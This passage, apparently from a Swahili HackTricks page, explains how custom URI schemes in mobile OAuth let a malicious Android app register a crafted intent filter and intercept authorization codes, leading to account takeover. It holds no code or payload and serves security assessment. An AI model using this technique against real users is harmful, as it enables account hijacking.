Katika utekelezaji wa OAuth kwenye mobile, apps hutumia custom URI schemes kupokea redirects zenye Authorization Codes. Hata hivyo, kwa sababu apps nyingi zinaweza kusajili scheme moja kwa kifaa, wazo kwamba client halali tu ndiye anayeendesha redirect URI huvunjika. Kwa mfano kwenye Android, Intent URI kama com.example.app:// oauth inakamuliwa kulingana na scheme na filters za hiari zilizofafanuliwa katika intent-filter ya app. Kwa kuwa intent resolution ya Android inaweza kuwa pana—hasa ikiwa scheme pekee imeainishwa—mdhulumu anaweza kusajili app ya hatari yenye intent filter iliyoundwa kwa ustadi ili kumnyang’anya authorization code. Hii inaweza kuwezesha account takeover ama kupitia mwingiliano wa mtumiaji (wakati apps nyingi zinafaa kushughulikia intent) au kwa mbinu za bypass zinazotumia filters zilizopangwa kupita kiasi, kama ilivyoelezwa kwenye Ostorlab’s assessment flowchart.

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks